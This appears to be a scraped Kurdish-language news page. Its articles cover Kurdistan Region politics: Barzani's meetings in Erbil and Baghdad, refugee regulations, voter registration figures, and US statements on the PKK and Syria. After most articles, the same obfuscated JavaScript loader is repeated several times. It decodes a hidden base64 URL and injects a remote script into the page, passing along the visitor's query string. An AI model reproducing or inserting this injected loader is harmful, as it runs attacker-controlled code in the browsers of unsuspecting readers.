مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ پێشوازی ل قاسم ئەعرەجی، شیرەتكارێ ئاسایشا نیشتمانییا ئیراقێ كر.
د كۆمبوونەكێدا بۆچوون ل دۆر دووماهی گۆهۆڕین و پێشهاتێن رەوشا ئەمنییا ئیراقێ ب گشتی هاتنە لێكگوهارتن و دوپاتی ل پێشڤەبرنا هاریكاری و هەماهەنگییێ د ناڤبەرا حوكمەتا هەرێما كوردستانێ و حوكمەتا فیدرالی بۆ بەرهنگارییا مەتری و گەفێن تیرۆرێ و پاراستنا ئاسایش و سەقامگیرییا دەڤەرێن سنۆری هاتە كرن.
د تەوەرەكێ دی یێ كۆمبوونێدا، هەردو ئالی د هەڤڕابوون ل سەر گرنگییا بجهئینانا رێككەفتنا شنگالێ و ئاساییكرنا رەوشا دەڤەرێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ب بەرهەڤبوونا مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ، رێورەسمێ راگەهاندنا رێنمایێن رێكخستنا كاروبارێن پەناخوازان ل هەرێما كوردستانێ هاتە گرێدان و تێدا پەیڤەك پێشكێشكر و ئەڤە دەقێ وێ یە:
حوكمەتا هەرێما كوردستانێ بێی هیچ جوداهییەكا ئایینی، رەگەزی و نەتەوەیی، مێهڤاندارییا سەدان هزار پەناخواز و پەنابەرێن وەلاتێن دەوروبەر و هەروەسا ئاوارەیێن ناڤخوەییا ئیراقێ كریە، ب تایبەت ل دەستپێكا هێرشا تیرۆرستێن داعشێ، ب هزاران كەسان بەر ب هەرێما كوردستانێ هاتن. ئەڤە د دەمەكی دابوو، كو د ئەوێ قۆناغێدا تووشی رەوشەكا دژوار و قەیرانەكا دارایی ژی ببووین، بەلێ سەرەرای هەموو ئەو رەوشێن دژوار ژی، حوكمەتا هەرێما كوردستانێ ئەركێ سەرەكیێ میهڤانداریكرنا دەهان كەمپێن ئاوارە و پەنابەران ب ستوو گرت و پترییا بارگرانیێ ژی ل سەر ملێ حوكمەتا هەرێما كوردستانێ بوو.
ئەڤرۆ هەرێما كوردستانێ یا بەردەوامە ل پاراستن و حەواندنا سەدان هزار پەناخواز، ئاوارە و پەنابەران كو ژ ئەگەرێ ترسێ و نەبوونا ئاسایش و ئارامیێ ل دەڤەرێن وان، رەڤینە و بەر ب هەرێما كوردستانێ هاتینە، مخابن هەتا نوكە رەوشا وەلاتی و دەڤەرێن وان ئاسایی نەبوویە بۆ ئەوێ چەندێ بزڤڕن.
بێگومان كەسێ پێ خوەش نینە ل ئاوارەیی و پەنابەریێ بژیت و حوكمەتا هەرێما كوردستانێ ژی هەردەم ل گەل زڤرینا ئارەزوومەندانەیا هەموو ئاوارەو و پەنابەرانە ب رێكا ئاساییكرنا رەوشا دەڤەرێن وان بۆ ئەوێ چەندێ ب سەربلندی بزڤڕن مال و جهێن خوە.
وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ، د چارچۆڤەیێ كاركرنێدا بۆ رێكخستنا كارەبارێن پەناخوازان، دەمەكە ب هاریكارییا كۆمسیارییا بلند یێ نەتەوەیێن ئێكگرتی بۆ كاروبارێن پەنابەران (UNHCR) مژوول بەرهەڤكرن و داڕێشتنا رێنمایێن كارگێری بوو، سەبارەت رەوشا پەناخوازان ل هەرێما كوردستانێ.
ئەڤ رێنمایە پشكەكن ژ بەرنامەیێن حوكمەتا هەرێما كوردستانێ د بوارێن كارگێری و قانوونی ب ئاراستەیا پاراستنا مافێن پەناخواز و پەنابەران و دیاركرنا ئەركێن وان، ب تایبەت د بوارێ رێكخستن و ئێكخستنا پێرابوونێن هاتن و پێشوازیكرنێ ل پەناخوازان و چەسپاندنا ماف و ئەركێن وان ل هەرێما كوردستانێ.
دەستخوەشیێ ل وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ و تیما بەرهەڤكارا ئەڤان رێنمایان دكەم كو ب هاریكاری و هەماهەنگی ل گەل كۆمسیارییا بلند یا نەتەوەیێن ئێكگرتی بۆ كاروبارێن پەنابەران ئ رێنمایە یێن بەرهەڤكرین.
ل ڤێرێ دوپات دكەین كو هەرێما كوردستانێ وەكو هەردەم ب نموونەیەكا گەش یا مێهڤاندۆستیێ وپەناگەهەكا ئارام دێ مینیت بۆ هەموو ئەوێن ژ ترسا ستەمێ و تیرۆرێ و چەوساندنێ، بەر ب وێ ڤە دهێن.
مە بزاڤ یێن كرین ل دووڤ شیانێن دارایی یێن ل بەردەستێ مە، ئاوارە، پەنابەر و پەناخواز د مفادار بن ژ خزمەتگوزاریێن گشتی یێن گرنك وەكو خواندنێ، چاڤدێرییا ساخلەمی و ئاسایش و ئارامی و پێدڤیێن ژیانا وان. هیڤیدارین حوكمەتا فیدرال و جڤاكا نێڤدەولەتی ژی هاریكارێن هەرێما كوردستانێ بن بۆ زێدەتر خزمەتكرنا پەناخواز و ئاوارە و پەنابەران هەتا ئەوی دەمێ رەوشا دەڤەرێن وان یا هاریكار بیت كو ب خواستا خوە و ب سەربلندی بۆ جهێن خوە بزڤڕن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

وەزیرێ ناڤخوە ل حوكمەتا هەرێما كوردستانێ راگەهاند: هەولێر و بەغدا ل سەر ب دووماهئینان ب ئەوێ نەسەقامگیرییا ل دەڤەرێن سنۆریێن هەرێما كوردستانێ هەی، د هەڤڕانە.
ل رۆژا پێنجشەمبییا بۆری قاسم ئەعرەجی، شیرەتكارێ ئاسایشا نیشتمانییا ئیراقێ سەرەدانا هەولێرێ كر و ل دۆر زێدەبوونا گرژیێن دەڤەرێ سنۆریێن هەرێما كوردستانێ، بجهئینانا رێككەفتنا شنگالێ و چەند پرسێن دی ل گەل مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ كۆمببوو.
رێبەر ئەحمەد، وەزیرێ ناڤخوە ل حوكمەتا هەرێما كوردستانێ، ل دۆر ناڤەرۆكا كۆمبوونا مەسرور بارزانی و قاسم ئەعرەجی گوت» كۆمبوونەكا باش و بەرهەمدار بوو، هەردو د هەڤڕابوون ل سەر ئەوێ چەندێ كو پێدڤییە دووماهی ب ئەوێ نە ئارامی و نەسەقامگیرییا ل سەر سنۆران هەی، بهێت. هەڤدەم مە بڕیاردا رەفتارێ ل گەل ئەگەرێن دروستبوونا ئەوێ نەسەقامگیریێ بكەین، نەكو ل گەل ئەنجامان».
ل دووڤ گۆتنا وەزیرێ ناڤخوە هەبوونا پەكەكێ ئەگەرێ دروستبوونا نەسەقامگیریێیە ل دەڤەرێن سنۆری و ب پێدڤی ژی دزانیت» سیاەتەكا نیشتمانییا ئێكگرتی ل ئیراقێ هەبیت بۆ ئەوێ چەندێ هەموو ئالییەك ل بن چەترێ ئەڤێ سیاسەتا گشتی و نیشتمانی رەفتارێ ل گەل ئەڤێ دۆسێیێ بكەت. نابیت چەند بۆچوونێن جودا ل سەر ئەڤی بابەتی هەبن».
رێبەر ئەحمەد ئاماژەكر» هەردو حوكمەتێن هەرێما كوردستانێ و ئیراقێ ل سەر ئەڤی بابەتی د هەڤڕانە، ئەوا مای ل بەغدایە، بزانین ل وێری دێ چ بڕیارەك ل دۆر ئەڤی بابەتی هێتە دان، ئەم ژی ل حوكمەتا هەرێما كوردستانێ دێ بزاڤێن خوە كەین بۆ نەهێلانا ئەڤێ سەقامگیریێ».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

دوهی سێشەمبی 9/7/2024 ل سەلاحەدین، سەرۆك مەسعود بارزانی پیشوازی ل محەمەد حاجی مەحمود سەرۆكێ حزبا سۆشیالیستا دیموكراتا كوردستانی كر.
د دیدارەكێدا باس ل رەوشا سیاسییا ئیراقێ و دووماهی پێشهاتێن ناڤخوەیا هەرێما كوردستانێ و ئیراقێ هاتە كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ب دەستپێشخەرییا سەرۆك بارزانی، ناكۆكی و ململانێیا سوننەیان ل سەر پۆستێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ دێ ئێكلا بیت، ئالیێن سیاسی یێن سوننی و شیعی پێشوازیێ ل ئەوێ دەستپێشخەریێ دكەن ، حزبا تەقەدوم پۆستێ سەرۆكێ جڤاتا نوونەران ب بەهرا خوە دزانن، سەركردەیەكێ حزبا تەقەدوم ژی دبێژیت: كۆمبوونا سەرۆك مەسعود بارزانی ل گەل ئالیێن سوننی بۆ ئەگەر كو گرێیا پرسا پۆستێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ د ناڤخوەییا سوننەیاندا نێزیك بیت.
سەركردەیەكێ حزبا تەقەدوم یا سوننی راگەهاند: ژ ئەگەرێ سەرەدانا ئەڤێ دووماهیێ یا سەرۆك بارزانی بۆ بەغدا، ئالیێن سوننی یێن نێزیكی ئێكلاكرنا كێشەیا پۆستێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ بووین.
عەبدولعەزیز میعماری، سەركردە ل حزبا تەقەدوم یا سوونی كو محەمەد حەلبووسی سەرۆكایەتییا وێ دكەت، د داخۆیانییەكا رۆژنامەڤانیدا گۆت » كۆمبوونا سەرۆك مەسعود بارزانی ل گەل ئالیێن سوننی یێن ناكۆك ل سەر ئێك مێزێ، بوو ئەگەر كو گرێیا پرسا پۆستێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ د ناڤخوەییا سوننەیاندا ێزیك بیت، چونكە سەرۆك بارزانی دەستپێشخەرییەك هەبوو بۆ ئێكخستنا سوونەیان ل سەر دۆسێیا سەرۆكێ جڤاتا نوونەران».
ئەوێ سەركردەیێ حزبا تەقەدوم ئاماژە ب ئەوێ چەندێ ژی كر» نوكە ل ناڤمالا سوننەیان جۆرە هەڤڕابوونەكێ یا هەی كو هەموو ئالیێن سوننی ب ئێك بەربژاری بچنە پڕۆسەیا هەلبژارتنا سەرۆكێ نوو یێ جڤاتا نوونەرێن ئیراقێ و ئەو پرسە بهێتە ئێكلاكرن».
سەرۆك بارزانی ل رۆژا 3/7/2024 ل گەل شاندەكێ بلند یێ هەرێما كوردستانێ گەهشتبوو بەغدا و بۆ دەمێ دو رۆژان هەژمارەكا كۆمبوونێن گرنگ و ئێكلاكەر ل گەل محەمەد شیاع سودانی، سەرۆك وەزیرێن ئیراقێ و پترییا سەركردەیێن سوننی و شیعی یێن یرقێ ئەنجامدابوون.
ژ ئالیێ خوەڤە، عەمار جومەیلی ژ حزبا تەقەدوم گۆت » پێشوازیێ ل دەستپێشخەرییا سەرۆك بارزانی دكەین، بارزانی كەسایەتییەكێ سیاسی یێ مەزنە د پڕۆسەیا سیاسیدا ل ئیراقێ، ئەم وەكو حزبا تەقەدوم د رژدین ل سەر وەرگرتنتا پۆستێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ و ب مافێ خوە دزانین».
هەر سەبارەت رێككەفتنا ئالیێن سوننی ل سەر دەستپێشخەرییا سەرۆك بارزانی، بۆ دەربازبوونێ ژ ئەوێ قەیرانا تووشی پێكهاتەیێ سوننی بووی، سالم عەنبەكی ژ هەڤپەیمانییا فەتح ب سەرۆكایەتییا هادی عامری گۆت » پێشبینیێ دكەین بەری وەرزێ نوو یێ قانووندانانێ ئالیێن سوننی رێكبكەڤن، ستراتیژییەتا ڤكێشانا بەربژارێ نە سەركەفتی بەرانبەر بەربژارێ سەركەفتی دێ ستراتیژییەتەكا سەركەفتی بیت».
چاڤدێر و پسپۆرێن كاروبارێن سیاسی ل ئیراقێ پێشبینییا رێككەفتنا سوننەیان دكەت، سەبارەت ئەوێ چەندێ محەمەد عەلی حەكیم، شرۆڤەكارێ سیاسی دبێژیت» سەرۆك بارزانی كاریگەرییەكا مەزن ل سەر ئالیێن سیاسی یێن سوننی یا هەی، دەستپێشخەرییا وی دێ زۆرترین كاریگەری ل سەر ئالیێن ناكۆك ل سەر پۆستێ سەرۆكێ جڤاتا نوونەران هەبیت».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

عەزیز رەسۆل

چاڤدێرێن سیاسی و جادەیا كوردستانی، ب گرنگی دنێرنە دەرئەنجامێن سەرەدانا سەرۆك بارزانی بۆ بەغدا كو تێدا چەندین كۆمبوون و دیدار ل گەل بەرپرسێن بلند یێن سیاسی و حكومی و بالیۆزێن وەلاتان ئەنجامداین.
د. بەشیر حەداد، جێگرێ بەرێ یێ سەرۆكێ جڤاتا نوونەرێن ئیراقێ بۆ رۆژنامەیا (ئەڤرۆ) گۆت » سەرەدانا سەرۆك بارزانی یا جودابوو ژ سەرەدنێن هەموو شاندێن پێشتر سەرەدانا بەغدا كری، سەرۆك بارزانی وەكو كاریزمایەكێ سیاسی كاریگەرییا مەزن یا هەی ل سەر رەوتێ سیاسی ل ئیراقێ و دەڤەرێ، نوكە ئیراق یا بەر ب قۆناغەكا نوو دچیت، حوكمەتا محەمەد شیاع سودانی پێنگاڤێن ئەرێنی یێن گەلەك باش یێن هاڤێتین ل سەر ئاستێ پەیوەندیێن بەغدا و هەولێرێ، ئەو نیازپاكییە ژی هاتە دیتن، لەوما سەرۆك بارزانی سەرەدانا بەغدا كر و ل وێرێ دووپاتی ل سەر نیازپاكیێ كر كو هەر دەمەكی بەغدا بهێتە پێش ئەم د بەرهەڤین پەیوەندیێن خوە ب هێز بكەین».
د. بەشیر حەداد دبێژیت» د سەرەدانا خوە دا بۆ بەغدا سەرۆك بارزانی دیدارێن گرنگ ل گەل بالیۆزێن ئەمیك و رووسیا و بریتانیا و فرەنسا و چینێ ، هەروەسا ل گەل سەركردەیێن ئالیێن سیاسی و بەرپرسێن بلند یێن حوكمەتا ئیراقێ هەبوون».
رۆهنكر ژی» سەرەدانا سەرۆك بارزانی، دێ بیتە فاكتەرەكێ گرنگ بۆ چارەسەركرنا پشكەك ژ كێشەیێن ئیراقییان ژی ب تایبەتی كێشەیا د ناڤمالا سوننی دا، كو زێدەتر ژ حەفت مەهایە سەرۆكێ نوو یێ جڤاتا نوونەرێن ئیراقێ نەهاتییە هەلبژارتن، ئەو سەرەدان دێ ناڤمالا سوننی ژ هەڤدو نێزیك كەت، هەروەسا پێنگاڤێن رێككەفتنا شنگالێ دێ دەستپێكەن بۆ چارەسەربوونێ».
دیاركر» ئەوا جڤاتا پارێزگەها نەینەوا ئەنجامدای بەرۆڤاژی مادەیێ 140 یێ دستووری و رێككەفتنێن سیاسی ئەوێن هاتنە كرن، نابیت ئالییەك ب تنێ بڕیاران بدەت، لەوما پێنگاڤەكا گرنگ بوو ب راگرتنا بڕیارێن جڤاتا پارێزگەها نەینەوا ژ ئالیێ جڤاتا وەزیرێن ئیراقێ ڤە، هەموو ئەو بڕیارە ژی دێ هێنە هەلوەشاندن و ب رێككەفتن ل گەل پارتی دیموكراتی كوردستان ئەو بابەت دێ چارەسەر بیت».
ل دووماهی گۆت » هیڤی خوازین پشتی سەرەدانا سەرۆك بارزانی بۆ بەغدا، كێشەیا بودجە و مووچەیێن فەرمانبەرێن هەرێما كوردستانێ بهێتە چارەسەركرن، دڤێت بەغدا ژی پەند و عیبرەت ژ ئەوێ چەندێ وەرگرتبیت كو هەكە پەیوەندی ل گەل هەرێما كوردستانێ د باش نەبن دێ زیان بۆ بەغدا ژی هەبیت».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ، هەژمارا دەنگدەرێن هەرێما كوردستانێ بەلاڤكر ل گەل هەژمارا ئەوان كەسێن هەتاكو 3/7/2024 كارتێن بایۆمەتری دەرئیناین.
جومانە غەلای، پەیڤدارا كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ گۆت » ل پارێزگەها هەولێرێ ئێك ملیۆن و 366 هزار و 462 دەنگدەرێن گشتی یێن هەین، كو ژ ئەوێ هەژمارێ ئێك ملیۆ و 16 هزار و 357 دەنگدەران كارتێن بایۆمەتری دەرئیناینە».
سەبارەت پارێزگەهێن سلێمانیێ و هەلەبجە كو هەتا نوكە تۆمارا دەنگدەران نەهاتییە جوداكرن، غەلای ئاماژەكر» ئێك ملیۆن و 496 هزار دەنگدەرێن گشتی یێن هەین ژ ئەوێ هەژمارێ ژی ئێك ملیۆن و 146 هزارام كارتا بایۆمەتری دەرئینایە».
سەبارەت پارێزگەها دهۆكێ، پەیڤدارا كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ گۆت » 926 هزار دەنگدەرێن گشتی یێن هەین كو هەتا 3/7/2024 هەژمارا دەنگدەرێن كارتا بایۆمەتری دەرئینای 738 هزار بوون».
ب گۆڕەی تۆمارێن كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ، سەرجەمێ گشتیێ دەنگدەران ل هەلبژارتنێن خولا شەشێ یا پەرلەمانێ كوردستانێ سێ ملیۆن و 789 هزار دەنگدەرن و هەتا نوكە ژی دو ملیۆن و 901 هزار دەنگدەران كارتا بایۆمەتری دەرئینایە».
سەرۆكێ هەرێما كوردستانێ ل 26/6/2024 د مەرسومەكا هەرێمیدا رۆژا 20/10/ 2024 دیاركر وەكو ژڤانێ هەلبژارتنێن پەرلەمانێ كوردستانێ، ژ ئالیێ خوەڤە كۆمسیۆنا بلند یا سەربخوە یا هەلبژارتنان ل ئیراقێ بەرهەڤییا خوە راگەهاند كو ل ژڤانێ دیاركریدا پڕۆسەیا هەلبژارتنان بڕێڤەببەت، هەڤدەم حوكمەتا هەرێما كوردستانێ ژی بەرهەڤییا خوە دیاركر بۆ بڕێڤەچوونا هەلبژارتنێن سەركەفتی.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

وەزارەتا دەرڤەیا ئەمریكا راگەهاند: ئەم ئاگەهداری ئەوان مەترسیاینە یێن پەكەكێ ل سنۆرێ هەرێما كوردستانێ و توركیا دروست كرین، بەلێ پێدڤییە ئۆپەراسیۆنێن توركیا ب هەماهەنگییا ئیراقێ بیت.
ماتیۆ میلەر، پەیڤدارێ وەزارەتا دەرڤەیا ئەمریكا د كۆنفرانسەكێ رۆژنامەڤانیدا گۆت » مە داخواز ژ توركیا كریە ئۆپەراسیۆنێن دژی پەكەكێ ب هەماهەنگی بیت ل ەل دەستهەلاتدارێن هەرێما كوردستانێ و ئیراقێ».
میلەری گۆت ژی» ئەم وەكو ئەمریكا هەست ب ئەوان گەفان دكەین یێن كو چەكدارێن پەكەكێ ل دەڤەرێن سنۆریێن توركیا و ئیراقێ دروست كرینە، دوپات دكەین ژی كو پێدڤییە ئۆپەراسیۆن ب هەماهەنگی بهێنە كرن بۆ ئەوێ چەندێ گیانێ خەلكێ سڤیل بهێتە پاراستن».
ل دۆر ئۆپەراسیۆنا لەشكرییا توركیا ل دژی پەكەكێ د ناڤ ئاخا ئیراقێدا، ئیبراهیم سومەیدعی، شیرەتكارێ محەمەد شیاع سۆدانی، سەرۆك وەزیرێن ئیراقێ د دیدارەكا رۆژنامەڤانیدا ل گەل كەنالێ دیجلە یێ ئیراقی راگەهاندبوو» هەماهەنگییەكا تمام د ناڤبەرا بەغدا و ئەنقەرە دا هەبوو بۆ دەستپێكرنا ئۆپەرانا هەڤپشك یا لەشكرێ توركیا ل دەڤەرێن سنۆریێن هەرێما كوردستانێ».
شیرەتكارێ سودانی گۆت بوو ژی» پەكەكە ئۆپەراسیۆنێن تاوانكاری دكەت و حوكمەتا ئیراقێ ژی وەكو رێكخستیەكا تیرۆرستی هەژمارتییە».
پێشتر، هاكان فیدان، وەزیرێ دەرڤەیێ توركیا د دیدارەكا تەلەڤزیۆنیدا راگەهاندبوو» ئیراق بۆ توركیا جهێ گرنگیدانێیە و دخوازین ل گەل بەغدا بەرهنگارییا پەكەكێ بكەین، نە سەقامگیرییا ئیراقێ ژی د بەرژەوەندییا پەكەكێ و رێكخراوێن دی یێن تیرۆرستی یێن دی یە لەوما توركیا بەردەوامبوو د ئۆپەراسیۆنێن خوە یێن لەشكریدا».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

بەرپرسەکێ وەزارەتا دەرڤە یا ئەمریکا دیار دکەت، وان ب فەرمی داخواز ژ رێڤەبەریا خوەسەر کرینە کو ئەڤسالە هەلبژارتنان نەکەن، چونکی رەوش بۆ هەلبژارتنان یا گونجای نینە و هێزێن ئەمریکا ژی دێ جارێ ل سووریێ مینن چونکی مەترسیا تیرۆرێ ل سووریێ بەردەوامە.

ئەتان گولدریچ ئێک ژ بەرپرسێن وەزارەتا دەرڤە یا ئەمریکا راگەهاند، دەمەکە هندەک کەس و ئالی بەحسێ ڤێ یەکێ دکەن کو دێ ئەمریکا هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، لێ چو راستی بۆ ڤێ یەکێ نینن، چونکی هێشتا ژی رەوشا سووریێ یا ئالۆزە و مەترسیا تیرۆرێ ژی هەیە، وەکو ئەمریکا ئەو ژ بۆ شەرێ ل دژی تیرۆرێ ل سووریێ نە و هەتا مەترسیا تیرۆرێ ل سەر بەرژەوەندیێن ئەمریکا هەبن دێ هێزێن ئەمریکا ل سووریێ مینن ، د رەوشا نها دا ئەمریکا نەڤێت هێزێن خوە ژ سووریێ ڤەکێشیت، بەلکو د ناڤ دو مەهێن بۆری دا ئەمریکا گەلەک هێزێن نوو ژی رەوانەی سووریێ کرینە.
ناڤهاتی ئەو یەک ژی دیار کر، رۆسیا و ئیران گەلەک بزاڤان دکەن دا ئاریشان بۆ ئەمریکا ل سووریێ دروست بکەن، هێزێن سەر ب ئیرانێ مەها بۆری ل چدین دەڤەران ل باکورێ سووریێ ئێرشی هێزێن ئەمریکا کرن، لێ ئەمریکا ب توندی بەرسڤا وان ئێرشان دا و گۆت: (مە دڤێت جارەکا دی ب رەنگەکێ ئاشکرا دیار بکەین کو دێ هێزێن مە ل سووریێ مینن، هەر دەمێ رەوشا سووریێ ئارام بیت و پێدڤی ب هەبوونا هێزێن ئەمریکا نەبیت، بێگومان وی دەمی د چارچۆڤێ رێککەفتنەکێ دا ل گەل حوکمەتا سووریێ یان ژی رۆسیا هێزێن ئەمریکا دێ ژ ئاخا سووریێ دەرکەڤن، لێ جارێ د بەرنامێ مە دا نینە کو هێزێن خوە ژ ئاخا سووریێ ڤەکێشین).
هەمان بەرپرسێ ئەمریکا ئەو یەک ژی دیار کر، هەتا نها ژ بۆ چارەسەرکرنا ئالۆزیێن ل سووریێ چو نەهاتیە کرن، گەلەک پرس ل سووریێ هەنە کو دڤێت بهێنە چارەسەرکرن، ژ بۆ ڤێ یەکێ ژی دڤێت د ئاستێ نێڤدەولەتی دا هندەک کارێن گرنگ بهێنە کرن، لێ رۆسیا ئاستەنگیان دروست دکەت، رۆسیا دڤێت ل گۆر بەرژەوەندیێن خوە سەرەدەریێ ل گەل روودانێن نها ل سووریێ بکەت و ژ بەر ڤێ یەکێ ژی هەتا نها پرسێن ل سووریێ هەی نەهاتینە چارەسەرکرن.
